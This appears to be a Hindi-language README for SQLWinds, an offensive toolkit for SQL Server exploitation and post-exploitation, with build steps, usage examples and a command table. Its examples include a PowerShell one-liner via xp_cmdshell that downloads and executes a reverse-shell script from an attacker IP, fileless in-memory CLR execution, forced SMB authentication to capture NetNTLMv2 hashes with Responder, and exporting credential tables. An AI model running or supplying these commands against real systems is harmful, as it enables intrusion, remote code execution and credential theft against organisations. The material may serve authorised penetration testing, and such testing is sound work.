
SQLWinds - SQL Server सुरक्षा मूल्यांकन और पोस्ट-एक्सप्लॉइटेशन टूलकिट
SQL सुरक्षा मूल्यांकन और पोस्ट-एक्सप्लॉइटेशन टूलकिट
SQLWinds Microsoft SQL Server के सुरक्षा परीक्षण और शोषण के लिए एक कमांड-लाइन टूल है। यह एक इंटरैक्टिव वातावरण प्रदान करता है जिससे सर्वरों का गहन विश्लेषण, विशेषाधिकार वृद्धि, हमले निष्पादित करना, और नेटवर्क में पिवट करना संभव होता है — सभी विशेष कमांड्स के साथ, जैसे इन-मेमोरी कोड निष्पादन और SCCM डेटाबेस अन्वेषण।
त्वरित लिंक:
--integrated), और Kerberos delegation (--kerberos with --user/--pass) समर्थन करता है।xp_cmdshell, OLE Automation Procedures (sp_oacreate), और CLR इंटीग्रेशन सक्षम करें और उपयोग करें।:memclr)।:unc_smb)।xp_regread के माध्यम से रेजिस्ट्री कुंजियाँ और मान पढ़ें।रिपॉजिटरी में Windows पर आसान संकलन के लिए build.bat स्क्रिप्ट शामिल है:
.\build.bat
संकलित SQLWinds.exe निष्पादन योग्य फ़ाइल bin\Release\ निर्देशिका में रखी जाएगी।
git clone https://github.com/blue0x1/sqlwinds.git
cd sqlwinds
msbuild SQLWinds.sln /p:Configuration=Release
# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123
# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated
# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!
# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"
sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help
:plain का उपयोग:plain कमांड बड़ी, बहु-पंक्ति SQL स्क्रिप्ट निष्पादित करने के लिए आवश्यक है।
sqlwinds> :plain
SQL>
SQL> BEGIN TRY
.....> SELECT * FROM [VeryImportantTable];
.....> EXEC sp_configure 'show advanced options', 1;
.....> RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....> SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute
:plain टाइप करें और Enter दबाएँ।:execute टाइप करें या रद्द करने के लिए :cancel टाइप करें।1. ऑडिट
SQLWinds.exe --server dc01 --integrated --security-audit
2. कोड निष्पादन के लिए xp_cmdshell का उपयोग
SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"
3. इन-मेमोरी CLR निष्पादन (फ़ाइललेस)
# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"
4. SRelay के माध्यम से NetNTLMv2 हैश चुराना
# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share
5. SCCM डेटाबेस शोषण
SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"
6. डेटा एक्सफिल्ट्रेशन
# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv
# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx
हम योगदान का स्वागत करते हैं! यदि आपके पास सुधार के विचार हैं या कोई समस्या मिलती है:
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके मालिक आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है, अवैध है। डेवलपर्स इस प्रोग्राम के किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व नहीं लेते हैं और ज़िम्मेदार नहीं हैं।
विकसित: blue0x1।
| Option | Description |
|---|
--server | लक्ष्य सर्वर (IP, होस्टनाम, इंस्टेंस)। आवश्यक। |
--user, --pass | SQL या Windows प्रमाणीकरण के लिए क्रेडेंशियल्स। |
--integrated | प्रमाणीकरण के लिए वर्तमान Windows टोकन उपयोग करें। |
--kerberos | Kerberos प्रमाणीकरण प्रवाह का उपयोग करें। |
--spn-check | लक्ष्य होस्ट के लिए AD में SPNs जाँचें। |
--run-cmd "<SQL>" | एकल SQL कमांड निष्पादित करें और बाहर निकलें। |
--run-file file.sql | फ़ाइल से SQL स्क्रिप्ट निष्पादित करें और बाहर निकलें। |
--info | व्यापक सर्वर जानकारी एकत्र करें और प्रदर्शित करें। |
--getinstance | डोमेन में SQL इंस्टेंस खोजें और बाहर निकलें। |
--list-dbs | डेटाबेस सूचीबद्ध करें और बाहर निकलें। |
--security-audit | सुरक्षा ऑडिट करें और बाहर निकलें। |
| Command | Description | Example |
|---|
:info | विस्तृत सर्वर जानकारी दिखाएं | :info |
:dbs | विवरण के साथ सभी डेटाबेस सूचीबद्ध करें | :dbs |
:tables [db] [schema] | डेटाबेस/स्कीमा में टेबल सूचीबद्ध करें | :tables master dbo |
:columns <table> [schema] [db] | किसी टेबल के कॉलम सूचीबद्ध करें | :columns Users dbo MyDatabase |
:users | सभी SQL लॉगिन और डेटाबेस उपयोगकर्ता सूचीबद्ध करें | :users |
:perms | वर्तमान उपयोगकर्ता अनुमतियाँ दिखाएं | :perms |
:audit | सुरक्षा कॉन्फ़िगरेशन ऑडिट करें | :audit |
:search [term] | संवेदनशील डेटा खोजें | :search password |
:secrets | संभावित गुप्त डेटा निकालें | :secrets |
:services | SQL Server सेवा खाते दिखाएं | :services |
:spn | लक्ष्य होस्ट के लिए SPNs जाँचें | :spn |
:enable_xp_cmdshell | xp_cmdshell सक्षम करें | :enable_xp_cmdshell |
:disable_xp_cmdshell | xp_cmdshell अक्षम करें | :disable_xp_cmdshell |
:xp <command> | xp_cmdshell के माध्यम से OS कमांड चलाएं | :xp whoami |
:enable_ole | OLE Automation सक्षम करें | :enable_ole |
:disable_ole | OLE Automation अक्षम करें | :disable_ole |
:ole_cmd <command> | OLE के माध्यम से OS कमांड चलाएं | :ole_cmd "calc.exe" |
:enable_clr | CLR इंटीग्रेशन सक्षम करें | :enable_clr |
:disable_clr | CLR इंटीग्रेशन अक्षम करें | :disable_clr |
:deploy-clr <path> | फ़ाइल से CLR असेंबली तैनात करें | :deploy-clr C:\Tools\cmd.dll |
:list-assemblies | तैनात CLR असेंबलियाँ सूचीबद्ध करें | :list-assemblies |
:clr_exec | CLR विधि निष्पादित करें | :clr_exec MyAssembly MyClass Method arg1 |
:memclr | मेमोरी से CLR असेंबली निष्पादित करें | :memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg" |
:remove-assembly <name> | CLR असेंबली हटाएं | :remove-assembly MyAssembly |
:list_linkservers | लिंक्ड सर्वर सूचीबद्ध करें | :list_linkservers |
:linkrpc <srv> <cmd> | लिंक्ड सर्वर के माध्यम से कमांड निष्पादित करें | :linkrpc LINKEDSRV "whoami" |
:impersonate <login> | SQL लॉगिन का प्रतिरूपण करें | :impersonate sa |
:revert | सुरक्षा संदर्भ वापस लाएं | :revert |
:agent_job | SQL Agent जॉब प्रबंधित करें | :agent_job create MyJob "whoami" |
:ls [path] | SQL के माध्यम से निर्देशिका सूचीबद्ध करें | :ls C:\Windows\Temp |
:unc_smb <path> | UNC पर SMB प्रमाणीकरण बाध्य करें | :unc_smb \\192.168.1.100\share |
:plain | बड़ी SQL स्क्रिप्ट पेस्ट करें | (नीचे उदाहरण देखें) |
:regread | रेजिस्ट्री मान पढ़ें | :regread HKEY_LOCAL_MACHINE Software\Microsoft value |
:regread_all | कुंजी में सभी मान सूचीबद्ध करें | :regread_all HKEY_LOCAL_MACHINE Software\Microsoft |
:upload | फ़ाइल को टेबल पर अपलोड करें | :upload C:\file.txt MyTable |
:download | क्वेरी से बाइनरी डाउनलोड करें | :download "SELECT file FROM blobs" out.bin |
:exportcsv | क्वेरी को CSV में निर्यात करें | :exportcsv "SELECT * FROM users" out.csv |
:exportjson | क्वेरी को JSON में निर्यात करें | :exportjson "SELECT * FROM users" out.json |
:sccm_info | SCCM डेटाबेस का पता लगाएं | :sccm_info |
:sccm_inventory | SCCM इन्वेंट्री दिखाएं | :sccm_inventory |
:sccm_collections | SCCM कलेक्शन सूचीबद्ध करें | :sccm_collections "All Systems" |
:sccm_deployments | डिप्लॉयमेंट दिखाएं | :sccm_deployments |
:sccm_clients | क्लाइंट सूचीबद्ध करें | :sccm_clients inactive |
:sccm_audit | SCCM सुरक्षा ऑडिट | :sccm_audit |
:sccm_application | ऐप विवरण दिखाएं | :sccm_application "Google Chrome" |
help | सहायता दिखाएं | help |
exit | REPL से बाहर निकलें | exit |